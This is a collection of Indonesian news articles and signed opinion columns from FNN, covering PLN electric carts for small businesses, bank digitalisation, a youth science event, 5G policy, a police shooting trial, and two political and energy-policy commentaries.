Jakarta, FNN - PT PLN (Persero) mengembangkan gerobak motor listrik untuk meningkatkan produktivitas usaha mikro kecil atau UMK sekaligus mendorong ekosistem kendaraan listrik di Indonesia. Direktur Utama PLN Zulkifli Zaini mengatakan program gerobak motor listrik ditujukan agar pelaku UMK dapat lebih hemat pada sisi operasional bahan bakar serta lebih ramah lingkungan. "UMK merupakan salah satu garda terdepan dalam pembangkit ekonomi masyarakat, apalagi setelah pandemi. Kami menyiapkan 77 unit gerobak motor listrik senilai total Rp5 miliar khusus untuk membantu para pelaku UMK agar dapat meningkatkan produktivitas," kata Zulkifli dalam keterangannya di Jakarta, Selasa. Dia menjelaskan transportasi gerobak motor listrik diharapkan mampu mendorong kendaraan listrik berbasis baterai sebagai solusi transportasi yang zero pollution, sehingga menarik minat masyarakat untuk beralih dari kendaraan konvensional berbahan bakar minyak ke listrik. Melalui Program Tanggung Jawab Sosial dan Lingkungan (TJSL), PLN menyerahkan 11 unit gerobak motor listrik senilai Rp751 juta kepada 11 pelaku UMK di Bali, Senin kemarin (25/20/2021). General Manager PLN UID Bali I Wayan Udayana menyampaikan program penyerahan gerobak motor listrik bertujuan meningkatkan omset UMK di tengah pandemi COVID-19 melalui strategi perluasan pemasaran dan efisiensi operasional dengan memanfaatkan kendaraan ramah lingkungan. “Kami berharap melalui penyaluran bantuan ini UMK dapat meningkatkan perekonomiannya sekaligus berkontribusi terhadap penggunaan moda transportasi yang green atau lebih bersih,” ungkap Udayana. Demi mencapai tujuan Sustainable Development Goals (SDGs), PLN mencanangkan program yang berbasis pada Creating Shared Value (CSV) yakni dalam berbisnis juga memperhatikan masalah dan kebutuhan sosial dalam perancangan strategi perusahaan. Made Liyadi, salah seorang pemilik UMK bernama Ma'ira di Buleleng, Bali yang mengolah berbagai makanan berupa abon ayam, abon ikan, abon papaya serta berbagai keripik mengungkapkan kegembiraan atas pemberian bantuan gerobak motor listrik tersebut. "Dulu pemasaran hanya kami lakukan di lingkungan sekitar, sekarang kami dapat memperluas pemasaran dengan tambahan bantuan ini,” jelas Made Liyadi. Selain Ma’ira, kesebelas UMK terpilih lainnya antara lain Arminta Sari Kedelai, Warung Andira, Rare Bali, Warung Bu Rena, Keripik Sari Tahu, Warung Sri Tanjung, Warung Dewi Sri, Warung Gita Jaja Bali, Kantin Bu Nur, dan Warung Kenak ini merupakan UMK yang bergerak di bidang kuliner yakni pengolahan makanan tersebar di masing-masing kabupaten di Bali. “Kami merupakan pelaku usaha yang memasarkan produk dengan berjualan keliling. Bantuan ini nantinya mampu memajukan usaha kami sehingga penjualan meningkat dan produk kami makin dikenal masyarakat,” ucap Made. (mth)

OJK: 2.593 Kantor Cabang Bank Tutup Akibat Digitalisasi

Jakarta, FNN - Otoritas Jasa Keuangan (OJK) mencatat terjadinya penurunan jaringan kantor bank sebanyak 2.593 kantor cabang dalam kurun waktu 5 tahun akibat akselerasi transformasi digitalisasi. “Terkait akselerasi transformasi digitalisasi, fenomena penurunan jaringan kantor bank dari tahun 2017 hingga Agustus 2021 sejumlah 2.593 kantor yang mengalami penurunan,” kata Deputi Komisioner Pengawas Perbankan I OJK Teguh Supangkat saat peluncuran Cetak Biru Transformasi Digital Perbankan secara virtual, Selasa. Selain itu, lanjut Teguh, terdapat peningkatan transaksi mobile banking dan internet yang lebih dari 300 persen dari 2016 hingga Agustus 2021, termasuk transaksi internet banking yang naik hampir 50 persen. “Selain itu yang naik cukup signifikan adalah transaksi uang elektronik dari 2015 hingga 2020 ini meningkat hampir 40 persen dari Rp5,28 triliun menjadi Rp204,9 triliun,” ujarnya. Tak hanya itu peningkatan juga terjadi pada realisasi layanan perbankan elektronik dan layanan perbankan digital. Pada 2018 terdapat realisasi 85 layanan, kemudian pada 2019 terdapat 112 realisasi layanan, serta pada 2020 terdapat 124 layanan perbankan elektronik dan layanan perbankan digital. “Termasuk di sini peningkatan layanan digital on boarding dimana terdapat 18 bank yang telah melayani layanan digital on boarding tanpa tatap muka langsung,” ungkap Teguh. Lebih lanjut ia menyampaikan pada 2025 Indonesia berpotensi memiliki e-commerce dengan pertumbuhan tertinggi di kawasan ASEAN dengan nilai sebesar Rp124 miliar dolar AS. Hal tersebut didukung oleh potensi pasar yang besar serta transaksi keuangan digital yang meningkat. Teguh juga mengungkapkan total kerugian rata-rata tahunan yang dialami sektor jasa keuangan secara global akibat serangan siber mencapai sekitar 100 juta dolar AS. Selain juga data dari Badan Siber dan Sandi Negara yang menyatakan terdapat 741,4 juta serangan siber atau meningkat hampir dua kali lipat dibandingkan serangan pada 2020 yang berjumlah 459,3 juta serangan. “Oleh karena ini dengan adanya transformasi digital, mau tidak mau kita harus menyiapkan manajemen risiko terkait serangan siber tersebut,” jelasnya. Adapun untuk menangkap peluang yang kuat dari digitalisasi untuk mencapai perbankan nasional yang resilience, berdaya saing dan kompetitif, OJK menyiapkan strategi pengembangan perbankan secara lebih komprehensif yang dituangkan dalam Roadmap Pengembangan Perbankan Indonesia 2020-2025. Roadmap tersebut menjadi pijakan dalam pengembangan ekosistem industri perbankan dan infrastruktur pengaturan, pengawasan dan peirizinan perbankan ke depannya. (mth)

BRIN Ajak Remaja Berinovasi dalam Youth Science Week 2021

Jakarta, FNN - Badan Riset dan Inovasi Nasional (BRIN) mengajak remaja berinovasi dalam Youth Science Week 2021 dengan tema Percaya Nalar dengan Riset dan Inovasi. "Youth Science Week ini diharapkan mampu memberi warna dan wadah bagi remaja Indonesia untuk menginspirasi pemuda Indonesia dengan menularkan semangat meneliti dan melakukan inovasi," kata Pelaksana tugas Deputi Bidang Sumber Daya Manusia Ilmu Pengetahuan dan Teknologi BRIN Edy Giri Rachman Putra dalam keterangan tertulis yang diterima ANTARA di Jakarta, Selasa. Youth Science Week yang diselenggarakan pada 25-28 Oktober 2021 secara virtual itu diisi dengan kegiatan kompetisi ilmiah Lomba Karya Ilmiah Remaja (LKIR) ke-53 Tahun 2021 dan National Young Inventor Awards (NYIA) ke-14. Selain itu, ada kegiatan Inspiration Days yang menghadirkan pembicara-pembicara yang menginspirasi generasi sains talenta muda Indonesia dalam melakukan kegiatan riset dan inovasi. LKIR ke-53 mengusung 54 proyek penelitian di empat bidang ilmu pengetahuan dan telah melewati proses mentoring selama tiga bulan akan mempresentasikan karya mereka di hadapan dewan juri. Sementara itu, ada 49 proyek inovasi remaja yang akan berkompetisi di National Young Inventors Award ke-14, di mana para pemenang berkesempatan untuk ikut kompetisi ilmiah ke ajang internasional. Kompetisi ilmiah tersebut diselenggarakan secara rutin setiap tahun oleh Lembaga Ilmu Pengetahuan Indonesia (LIPI) yang sekarang telah berintegrasi menjadi BRIN. Penyelenggaraan kompetisi itu bertujuan memberikan peluang agar ide-ide riset dan inovasi generasi muda dapat dibimbing dan diberi masukan oleh peneliti kompeten untuk menghasilkan konten riset inovasi potensial dan mungkin memiliki nilai kekayaan intelektual untuk dikembangkan. Edy menuturkan edukasi sains bagi generasi muda sangat penting untuk menjamin perkembangan ilmu pengetahuan dan teknologi di masa depan karena Indonesia akan segera menyongsong era bonus demografi pada tahun 2030 mendatang. Di masa bonus demografi itu, jumlah penduduk usia produktif akan jauh lebih banyak dibandingkan usia non produktif. Untuk itu, lanjut Edy, sejak sekarang perlu dipersiapkan generasi muda yang siap berdaya saing, unggul, yang akan ikut mewujudkan Indonesia Emas tahun 2045. (mth)

Kominfo: Implementasi 5G Dapat Memajukan Kesejahteraan Masyarakat

Jakarta, FNN - Kementerian Komunikasi dan Informatika menegaskan implementasi layanan telekomunikasi generasi kelima atau 5G di Indonesia bukan semata-mata karena gengsi, melainkan untuk mencapai tujuan bangsa yaitu memajukan kesejahteraan umum dan mencerdaskan kehidupan bangsa. "Implementasi 5G bagi negara kita bangsa Indonesia bukanlah semata-mata prestise atau gengsi, akan tetapi kita akan menjadikan 5G sebagai alat atau sarana untuk mencapai tujuan Negara Kesatuan Republik Indonesia," ujar Direktur Telekomunikasi Direktorat Jenderal Penyelenggaraan Pos dan Informatika Kemkominfo Ayu Widyasari dalam acara virtual, Selasa. "Yaitu sebagaimana yang tercantum didalam pembukaan Undang-Undang Dasar 1945 pada alinea ke-4 untuk memajukan kesejahteraan umum dan mencerdaskan kehidupan bangsa," sambung dia. Ayu mengatakan layanan 5G bukan hanya sekadar peningkatan kecepatan transfer data dibanding dengan generasi sebelumnya, tetapi juga membuka kemungkinan adanya layanan-layanan baru dan aplikasi yang semakin beragam, yang pada akhirnya akan meningkatkan produktivitas dan perekonomian. Layanan 5G, kata dia, juga berpotensi menjadi faktor penentu transformasi digital di semua sektor, dengan ditopang oleh tiga pilar yaitu teknologi, manusia, dan tata kelola. Pada pilar teknologi, adanya konektivitas 5G, kecerdasan buatan, internet of things, cloud computing, dan big data dinilai akan merevolusi transformasi digital di Indonesia. Sementara pada pilar manusia, adanya digital mindset, digital culture, kemampuan dan kompetensi, serta digital leadership akan menguatkan transformasi digital yang ada di Indonesia. "Selanjutnya dengan ditopang pilar ketiga yaitu tata kelola yang baik, ditandai dengan adanya perubahan proses bisnis, perubahan modal bisnis, adanya organisasi teknologi informasi, pendekatan yang strategis, pendekatan kepada ekosistem, maka sempurnalah transformasi digital yang diharapkan di Indonesia," kata Ayu. Dalam kesempatan itu, Ayu menambahkan bahwa terdapat lima aspek yang perlu diperhatikan dalam mendorong kematangan dari implementasi 5G di Tanah Air. Kelima aspek yang dimaksud yaitu regulasi, spektrum frekuensi radio, model bisnis penyelenggaraan, infrastruktur pendukung baik pasif maupun aktif, dan ekosistem perangkat serta talenta digital. (mth)

Hakim PN Jaksel Ambil Sumpah 7 Saksi Sidang Unlawfull Killing

Jakarta, FNN - Majelis Hakim Pengadilan Negeri Jakarta Selatan mengambil sumpah tujuh orang saksi dalam lanjutan sidang "unlawful killing" atau kasus penembakan laskar Front Pembela Islam (FPI) di KM 50 Tol Jakarta-Cikampek. Sidang yang digelar di ruang sidang utama PN Jakarta Selatan, Selasa, berlangsung hybrid atau sebagian dalam jaringan (daring) dan luar jaringan (luring). Sidang kasus "unlawful killing" dimulai sekitar pukul 10.20 WIB dengan agenda mendengarkan keterangan saksi. Dalam sidang tersebut satu orang terdakwa hadir yakni Brigadir Polisi Satu (Briptu) Fikri Ramadhan. Sidang tersebut dipimpin langsung oleh M Arif Nuryanta selaku Hakim ketua serta dua hakim anggota masing-masing Haruno dan Elfian. Di awal sidang, majelis hakim terlebih dahulu menanyakan kepada tujuh orang saksi yang diajukan oleh Jaksa Penuntut Umum (JPU). Ketujuh orang saksi memberikan kesaksian secara daring. Terhadap saksi, majelis hakim menanyakan apakah mengenal terdakwa atau tidak. Dari tujuh orang saksi, enam di antaranya mengaku sama sekali tidak kenal sementara satu saksi mengenal terdakwa karena seprofesi. Selain Briptu Fikri Ramadhan, Ipda M Yusmin O juga ditetapkan sebagai terdakwa dalam kasus "unlawful killing" yang menewaskan beberapa orang laskar FPI sebuah organisasi masyarakat yang saat ini sudah dibubarkan oleh pemerintah. Sebagai tambahan kedua terdakwa merupakan anggota polisi di Polda Metro Jaya dan masih berstatus aktif hingga saat ini. Sebelumnya, dalam surat dakwaan JPU, Briptu Fikri Ramadhan didakwa dengan Pasal 351 ayat (3) KUHP jo Pasal 55 ayat (1) ke (1) KUHP. (sws, ant)

Sukses Menjadi Negara Gagal

Oleh: Yusuf Blegur Setelah 76 tahun menjalani kemerdekaan yang penuh ketidakpastian. Negara dan bangsa Indonesia saat ini, benar-benar mengalami masa-masa puncak penindasan dan kebiadaban. Apa yang dulu ditentang, diperjuangkan dan dikorbankan untuk meraih kemerdekaan. Harus dibayar rakyat Indonesia dengan merasakan kembali kolonialisme dan imperialisme berwajah modern. Baik oleh bangsa asing dan aseng, maupun dari sebangsa dan setanah airnya sendiri. Perlahan namun pasti, praktek-praktek kekuasaan, telah mengubur hidup-hidup nilai-nilai Pancasila dan UUD 1945. Kini pemerintah seakan memasuki babak baru dan tendensius. Melakukan serangan yang ofensif dan agresif terhadap agama khususnya Islam dan terkait eksistensi politiknya. Terlalu marak pelecehan, penghinaan, dan penistaan terhadap agama, pemimpin dan umat Islam yang dibiarkan pemerintah. Di lain sisi tangan besi kekuasaan, sangat responsif melakukan kriminalisasi para ulama dan gerakan kesadaran kritis lainnya. Strategi serangan yang begitu mematikan kepada kehidupan spiritual dan keagamaan serta tumbuh kembangnya demokrasi. Menjadi wajah dan ciri khas rezim pemerintahan sekarang. Orientasi dan kebijakan kekuasaan yang berbasis kebencian dan cenderung anti Islam. Bahkan lebih bengis dari yang pernah dilakukan pemerintahan-pemerintahan sebelumnya, yang sekuler sekalipun. Rakyat dengan mata telanjang dan secara langsung merasakan sendiri bagaimana penjajahan masih berlangsung hingga saat ini. Begitu banyak masyarakat harus mengalami kesengsaraan dan penderitaan hidup. Sementara bumi tempatnya bernaung, berlimpah kekayaan alam dan semua yang dibutuhkan untuk menjadi negara kesejahteraan. Distorsi dan Kontradiksi Harus diakui suka atau tidak suka, menerima ataupun menolak. Tampilnya kekuasaan yang lahir dari metode sihir massal dan rekayasa citra diri. Secara alami lewat perangai dan tingkah pola yang dilakukan. Seiring waktu menunjukan wajah asli dan karakter yang sesungguhnya. Dibalik kampanye, keluguan dan kesederhanaan yang menghipnotis. Berujung hanya pada janji-janji politik yang terbelengkalai, kalau tidak mau disebut rangkaian kebohongan dan kepalsuan. Alih-alih melakukan pembangunan yang terkonsep, terukur dan berdaya guna bagi kehidupan rakyat. Pemerintahan yang terlanjur dikenal publik sebagai rezim boneka itu. Justru malah menghasilkan proyek-proyek mercusuar yang bertaburan utang menjulang, disfungsi alias tak berguna dan digerogoti keserakahan dan korupsi di sana-sini. Mirisnya, proyek-proyek infra struktur berbiaya besar yang dibanggakan dan dianggap simbol keberhasilan pemerintah. Pada akhirnya dijual murah sehingga merugikan negara. Begitupun BUMN yang terus merugi dan terancam dijual atau ditutup. Pemerintah yang digawangi orang-orang cerdas dan profesional itu. Sepertinya tidak lebih hebat dari tukang gado-gado di pinggir jalan yang masih punya manajemen dan bisa mengelola keuangannya. Agar bisa survive dan dapat membiayai kehidupan keluarganya. Selain ketidakmampuan leadership dan kecakapan manajemen. Rombongan kekuasaan yang ditandai dengan amburadulnya peran dan fungsi dalam tata kelola pemerintahan. Birokrasi sarat oligarki dan koncoisme mempertontonkan pemimpin-pemimpin yang planga-plongo, asbun, tidak tahu malu dan mata duitan. Ada juga seorang menteri agama yang dipertanyakan kejelasan agamanya. Akan tetapi diluar compang-camping dan karut marut lingkaran istana. Tampil seorang pembantunya yang superior dan berkuasa penuh serta mengendalikan semua urusan. Tidak jelas ia sebagai bawahan atau yang membawahi. Mungkin beliau memang manusia super dari luar angkasa. Seperi Iron Man dalam komik Marvel. Akibatnya negara semakin tidak jelas dan terpuruk. Siapa yang dipimpin dan siapa yang memimpin. Tidak adanya skala prioritas dan menjalankan roda pemerintahan secara ugal-ugalan. Hanya menunjukkan fakta pemerintahan yang tidak memiliki kapasitas (unqualified). Rakyat seperti mengalami 'govermentless' dan 'fail state'. Terasa saat ini dalam suasana penjajahan masa lampau. Selama berkuasa hampir dua periode. Kekuasaan sekarang cenderung dapat diidentifikasi dengan tiga pola determinasi. Pertama, kinerja pemerintahan yang mengandalkan utang. Seakan negara tidak bisa berdiri tegak dan pemerintahan tidak bisa bekerja tanpa utang. Parahnya utang negara lebih banyak dipakai untuk proyek rente dan rawan korupsi. Kehidupan rakyat semakin tercekik karena penghapusan subsidi untuk membayar utang negara dan gaya hidup mewah pejabat. Sehingga negara dan rakyat harus menanggung beban berkepanjangan hingga anak-cucu yang masa depannya pun tak jelas. Kedua, menaikkan dan menggenjot pajak sebagai kemampuan terbaik kabinet kerja rezim. Upaya licik memungut pajak untuk menutupi kelemahan sekaligus penyimpangan kebijakan birokrasi dalam soal keuangan negara. Terutama untuk dikorup dan membayar utang yang tak ada relasinya dengan kesejahteraan rekyat. Inilah pemerintahan yang pernah ada dimana sudah tidak mampu menyejahterakan rakyat, masih tega menguras uang rakyat melalui pajak. Pemerintah tak bedanya dengan merampok uang rakyat secara halus dengan modus pajak. Sebuah cara memiskinkan bangsa dengan konstitusional. Kemiskinan struktural yang tak bisa dihindari dan ditolak rakyat kecil utamanya. Pemerintah bagai kompeni yang memungut upeti pada rakyat pribumi layaknya jaman kolonial. Ketiga, kekerasan sebagai cara menangani persoalan bangsa terlebih dalam soal penegakan hukum. Akhir-akhir ini, NKRI pantas menyandang gelar negara kekerasan. Kekerasan kian rutin mewarnai kehidupan negara dalam berbagai aspek. Baik kekerasan yang dilakukan oleh struktur atau otoritas negara, maupun kekerasan yang dilakukan oleh kelompok masyarakat ataupun sektor swasta khususnya dunia korporasi. Semua kekerasan itu mengarah dan selalu menjadikan rakyat kebanyakan sebagai obyek dan korbannya. Tak peduli rakyat sudah sekarat karena pandemi. Belakangan mafia dan cukong yang bermetamorfosis dan berlindung dibalik korporasi besar. Secara terang-terangan dan arogan merampas tanah dan aset rakyat dengan kekerasan. Hebatnya, korporasi asing dan aseng itu melakukan kekerasan terhadap rakyat dikawal dan terkesan diback up aparat keamanan negara. Aparat keamanan negara yang harusnya membela dan melindungi rakyat dalam memperjuangkan haknya. Kian bertindak sebagai anjing penjaga dan tukang pukul pemilik modal dan kekuasan. Sudah tidak bisa lagi membedakan intepretasi Substansi undang-undang dan kepentingan rakyat. Tanpa ragu melakukan kekerasan pada rakyat yang berjuang menuntut sekedar keadilan. Rakyat sudah tidak bisa berkata dan berbuat apa-apa lagi. Rakyat juga tak punya siapa-siapa lagi dan kekuatan untuk meminta perlindungan selain keadilan Tuhan. Aparat keamanan yang hakekatnya menjadi pelayan yang mengayomi dan melindungi rakyat. Justru berpikir dan bertindak sebaliknya. Aparatur pemerintahan dan penegak hukum yang digaji dan dibiayai rakyat, menggunakan semua fasilitas itu untuk menindas rakyat. Rakyat begitu tersontak saat tidak sedikit aparatur penegak hukum dan keamanan melakukan pelanggaran dan penyimpangan hukum. Bukan sekadar arogan, represif dan merugikan hak rakyat. Petugas-petugas negara itu melecehkan, memperkosa dan membunuh rakyat tak berdosa. Bukan saja terhadap rakyat sipil, bahkan atasan dan pimpinan penegak hukum bisa melakukan kekerasan terhadap bawahannya sendiri. Sungguh perbuatan biadab dan memalukan. Cermin yang menampilkan wajah buruk negara bagi rakyatnya sendiri maupun dunia internasional. Ini menjadi persoalan serius dan prinsip yang menentukan perspektif apakah negara ini memang masih perlu ada dan tetap dipertahankan. Apakah NKRI masih relevan dengan cita-cita dan tujuan proklamasi kemerdekaan?. Kekerasan yang dilakukan oleh aparat baik kepada rakyat sipil maupun bawahan dinasnya. Secara tidak sadar merupakan titik jenuh sekaligus pemberontakan baik dari rakyat maupun orang-orang dalam kekuasan sendiri. Mereka semua tak berdaya saat terjebak dalam sistem yang penuh distorsi dan kontradiksi. Tak berdaya dan tak mampu melawan kerusakan sistem. Mungkin kekerasan telah menjadi bahasa perlawanan. Kekerasan merupakan cara kontemplasi yang mudah dan bisa dilakukan. Terhadap sistem pemerintahan dan perilaku kekuasaan selama ini yang tak kunjung mendatangkan kemaslahatan. Namun lebih banyak kemudharatan yang berlumur tragedi dan kedzoliman sehari-hari yang serba permissif. Rakyat terus menyimpan tangisnya yang tersembunyi. Membiarkan lukanya dalam rongga dada. Berulangkali rakyat harus menahan amarah yang tersekat dalam duka haru biru. Rasanya, rakyat harus hidup dengan kesabaran dan kekuatan yang tersisa. Saatnya menunggu kekuasaan Tuhan yang berbicara. Entah dengan menggunakan tangan manusia sendiri. Entah dengan menggerakkan kekuatan alam. Entah dengan kebesaranNya melakukan intervensi pada negeri ini. Rakyat harus menunggu, berharap dan bersangka baik pada Tuhan. Semoga hanya perbaikan dan pemulihan Indonesia yang dikehendaki Tuhan Yang Maha Esa. Bukan penghancuran dan pemusnahan negeri tercinta. Penulis, Pegiat Sosial dan Aktivis Yayasan Human Luhur Berdikari.

Menelisik Motif Di Balik Gugatan Atas Impor LNG Pertamina

Oleh Marwan Batubara *) BEBERAPA bulan terakhir berita dan opini mempermasalahkan impor LNG oleh Pertamina (dari Amerika/Cheniere dan Mozambique) beredar cukup luas di media. Inti berita adalah menyoal kesalahan kebijakan dan dugaan korupsi di balik impor LNG tersebut. Sehingga, para nara sumber berita menuntut agar pihak yang terlibat diproses secara hukum. Tulisan ini tidak bermaksud mengamankan siapapun agar terhindar dari proses hukum. Apalagi jika yang bersangkutan diduga terlibat korupsi. Namun karena berita terkesan tendensuius dan tidak akurat, maka IRESS perlu mengungkap permasalahan seputar impor LNG, terutama guna mengamankan bisnis BUMN dan menjaga kredibilitas Indonesia sebagai salah satu pioner bisnis LNG di dunia. Sejarah LNG Indonesia, bermula saat ditemukannya cadangan gas di Arun, Aceh (1971) dan Badak, Kaltim (1972). Untuk dapat dimonetisasi, Pemerintah dan Pertamina memutuskan membangun LNG Plants di Lhoksuemawe dan Bontang. Pembangunan dilakukan setelah ditandatanganinya kontrak penjualan LNG dengan sejumlah perusahaan Jepang. Ekspor LNG ke Jepang berdurasi 20 tahun dengan opsi perpanjangan 20 tahun berikutnya. Bisnis LNG boleh dikatakan berada lingkup terbatas, sehingga semua LNG Seller maupun LNG Buyer saling mengenal dengan baik. Faktor integritas dan kredibilitas sangat berperan, sehingga dalam sejarahnya belum pernah ada kejadian gagal bayar atau gagal offtake. Karena itu meski berhasil menjual LNG sejak tahun 1970-an, Pertamina baru mendapat kepercayaan pasar mengimpor LNG pada tahun 2000-an. Sikap pruden sangat berperan, jika sampai terjadi kegagalan offtake kargo LNG, maka seluruh rantai bisnis LNG akan terdampak hingga sampai ke produser gas, dan berujung pada penutupan sumur. Kemampuan bisnis jual/beli LNG Pertamina dan Indonesia secara global telah terbangun cukup lama. Hal-hal yang mendasari kemampuan ini antara lain adalah pengalaman, keahlian dan kepercayaan pasar. Kemampuan ini sekaligus bermanfaat untuk mengamankan pasokan gas nasional jangka panjang dan berkelanjutan. Dalam praktek, Pertamina pun terlibat dalam kontrak impor gas dari AS dan Mozambique. Kebutuhan Impor LNG Pada Desember 2013, Pertamina berkontrak dengan Cheniere Energy, untuk impor LNG dari Texas (AS) sekitar 0,76 MTPA (million ton per annum/juta ton per tahun), berlaku sejak 2019 selama 20 tahun. Impor LNG ini dilakukan sesuai kebutuhan jangka panjang, dengan merujuk pada Neraca Gas Nasional yang diterbitkan Kementrian ESDM (2011). Impor LNG ini telah masuk dalam Rencana Jangka Panjang Perusahaan, Pertamina (2012-2016) yang disetujui pemerintah melalui mekanisme Rapat Umum Pemegang Saham (RUPS). Adapun kebutuhan impor LNG dari Mozambique, Afrika dengan Anadarko Petroleum Corp. diawali dengan negosiasi pada 2013 dan penandatangan Head of Agreement (HoA) pada 2014. Namun negosiasi tidak berujung kesepakatan karena ada perubahan harga pasar LNG dunia pada 2016. Belakangan, karena adanya kebutuhan internal (kilang), Pertamina melihat kembali ketersediaan LNG di pasar, termasuk negosiasi ulang dengan Mozambique dengan term and condition dan harga yang lebih menguntungkan. Hal ini berujung pada tandatangan HoA pada 2018, dan tandatangan kontrak pada Februari 2019. Volume kontrak LNG adalah 1 MTPA, berlaku sejak 2025 untuk periode 20 tahun. Rujukan impor LNG Mozambique ini adalah sama seperti impor LNG dari AS, yakni Neraca Gas Nasional yang rutin diterbitkan Kementrian ESDM (2018). Impor LNG dari Mozambique masuk dalam Rencana Kerja dan Anggaran Pertamina yang disetujui RUPS pada tahun 2019. Melihat ke belakang, ternyata pasokan LNG dari Cheniere direncanakan akan disalurkan ke terminal-terminal penerima LNG Pertamina, yakni untuk proyek LNG Floating Storage and Regasification Unit (FSRU) di Arun, Aceh dan FSRU Jateng yang memerlukan kepastian tambahan pasokan LNG. Kedua fasilitas tersebut didesain dengan kapasitas sekitar 3 MTPA guna memenuhi kebutuhan gas bagi sektor ketenagalistrikan dan industri. Sedangkan impor LNG Mozambique ditetapkan setelah mempertimbangkan kebutuhan Pertamina mengoperasikan kilang BBM proyek Refinery Development Master Plan (RDMP) Cilacap, Jateng dan Proyek Listrik Tenaga Gas Uap (PLTGU) Jawa-1 berkapasitas 1.760 MW di Cilamaya, Jabar. Kedua proyek membutuhkan gas cukup besar dan tidak dapat dipenuhi suplai gas domestik. Kebutuhan ini pun ditetapkan setelah mempertimbangkan harga LNG Mozambik yang murah dan hasil kajian konsultan yang saat itu disewa pemerintah/Pertamina. Pembelian LNG ke produser LNG yang akan dideliver setelah LNG Plant selesai konstruksi dan beroperasi adalah cara yang terbaik. Hal ini umumnya dilakukan konsumen LNG Global lain, dengan tujuan mendapat pasokan LNG jangka panjang berkesinambungan dengan harga wajar, seperti telah dilakukan Pertamina dan Indonesia saat menjual LNG nya pada tahun 1970 an. Kondisi tersebut ternyata selaras dengan pemahaman bahwa bisnis LNG adalah bisnis jangka panjang yang membutuhkan kemampuan membaca dinamika pasar baik sebagai penjual maupun sebagai pembeli. Lebih lanjut, dalam proses jual beli LNG, proses negosiasi kontrak LNG memerlukan waktu panjang karena banyaknya faktor-faktor yang harus dipertimbangkan. Kontrak LNG harus dikelola secara profesional dengan terus menerus memperhatikan dinamika pasar, sehingga produksi dapat dicapai tepat waktu. Apa dan Siapa Yang Dibidik Komut Pertamina, Ahok? Pada 10 Februari 2021, Komut Pertamina Ahok menyatakan adanya kejanggalan dalam kontrak impor LNG dari Mozambique. Kata Ahok: "Ada indikasi (dimainkan oleh oknum) makanya kami minta diaudit," Rabu (10/2/2021). Kita tidak paham bagaimana hasil audit yang disebut Ahok tersebut dan bagaimana pula tindak lanjutnya. Belakangan, Komut Pertamina pun mempertanyakan harga kontrak impor LNG yang dianggap sangat mahal. Sikap Ahok ini dikemukakan saat harga migas turun, terutama pada periode 2019-2020. Lalu diperparah pula dengan harga yang turun akibat pendemi Covid-19. Maka, muncullah permintaan agar kontrak LNG tersebut dibatalkan. Kondisi semakin runyam dengan munculnya pernyataan ahli hukum dari satu “law firm” yang sengaja disewa oleh “Manajemen/Dekom Pertamina”. Dikatakan, pembatalan kontrak LNG dapat dilakukan bila ada fraud dalam proses pengadaan. Karena itu, terjadilah pelaporan “kasus impor LNG” tersebut ke Kejaksaan Agung, untuk mencari-cari fraud dimaksud. IRESS sangat ragu jika latar berlakang sikap Ahok di atas, termasuk melaporkan “kasus impor LNG” ke Kajaksaan Agung, terutama dimaksudkan untuk mencegah Pertamina dari kerugian akibat turunnya harga gas dunia. Ditengarai, menurut sumber IRESS yang terpercaya, sebenarnya sikap tersebut bisa saja dilatarbelakangi motif lain. Jika harga gas/LNG yang jadi penyebab, tersedia opsi lain, yaitu dengan menjual kembali. Faktanya, harga migas memang selalu berfluktuasi, naik dan turun. Belum pernah terjadi, harga migas berada pada level rendah dalam waktu cukup lama. Bahkan dalam 1-2 bulan terakhir, harga gas telah naik berlipat-lipat, dan mendatangkan keuntungan yang cukup besar bagi Pertamina dan Indonesia. Dengan demikian, sikap short-sighted (memperlakukan jual/beli LNG layaknya jual-beli mobil bekas) yang ditunjukkan Ahok tersebut sangat tidak relevan untuk menjadi kebijakan korporasi. Oleh sebab itu, wajar jika timbul kecurigaan tentang “motif lain” di balik pernyataan “ada indikasi” yang disebutkan di atas. Mungkin saja ada anggota manajemen yang sedang “dibidik”. Perubahan struktur organisasi (proses pembentukan Subholding) di Pertamina dengan pembubaran Direktorat Gas yang menangani bisnis Gas dan LNG yang terjadi sebelumnya dan hampir bersamaan, juga memberikan dampak ketidakmampuan mengelola bisnis LNG nasional dengan baik. Sehingga mitigasi resiko terhadap pengadaan LNG juga tidak tertangani secara optimal, termasuk juga ikut memicu sikap manajemen/board Pertamina pada saat harga turun. Akibatnya management risiko dalam mengatasi supply/demand sering menjadikan manajemen sebelumnya dianggap telah berbuat kesalahan, termasuk dikaitkan dengan dugaan korupsi. Permasalahan manajemen resiko seperti disebut di atas juga dialami oleh BUMN/PLN dalam proyek listrik 35 GW. Poyek ini berasal dari kebijakan pemerintah dan dianggap sebagai proyek yang tepat dan wajar dijalankan. Namun belakangan proyek bermasalah, terjadi over capacity, BPP listrik naik, dan lain-lain. Maka tampaknya PLN harus menanggung beban dan kesalahan tersebut sendirian, seolah-olah kebijakan 35 GW itu adalah produk PLN dan PLN harus bertanggungjawab. Pemicu lain yang tak kalah penting adalah perseteruan pada high level management Pertamina yang membawa pengadaan LNG ke aparat penegak hukum. Situasi dan kondisi ini berpotensi menimbulkan kendala bisnis LNG dikemudian hari, dan menurunkan kepercayaan pelaku bisnis LNG Global bermitra dengan Pertamina. Sehingga ke depan, hal ini dapat berdampak buruk pada keamanan pasokan energi berkelanjutan dan ketahanan energi nasional. Seperti disampaikan di atas, impor LNG Cheniere dan Mozambique dilakukan untuk mengantisipasi terjadinya gas shortage. Impor juga dilakukan mengacu pada dokumen resmi pemerintah, yakni Neraca Gas Nasional yang rutin diterbitkan oleh Kementrian ESDM. Banjir pasokan migas dan pandemi Covid-19 telah membuat harga migas anjlok. Jika kebijakan impor dilakukan melalui proses yang pruden dan sesuai prinsip GCG, maka sangat tidak relevan mempersalahkan pihak-pihak yang terlibat dalam pengambilan keputusan karena kerugian akibat harga anjlok tersebut. Melihat fakta bahwa saat ini harga pasar LNG melambung jauh melampui harga kontrak (LNG Cheniere dan Mozambique), karena bisa menjual LNG tersebut ke pasar, maka Pertamina kini justru untung berlipat. Secara matematis, merujuk harga pembelian LNG dalam kontrak, maka harga pasar saat ini memberi keuntungan sekitar $80 juta per kargo atau sekitar $900 juta per tahun. Dan keuntungan tersebut akan dinikmati juga oleh Direksi dan Dekom, termasuk Ahok, dalam bentuk bonus/tantiem. Kalau sudah begini, alasan untuk menyalahkan menjadi tidak relevan. Maka, mungkin perlu dicari “peluru” lain untuk membidik target! [] *) Direktur Eksekutif IRESS

Dramaturgi Panglima TNI (Bagian-2)

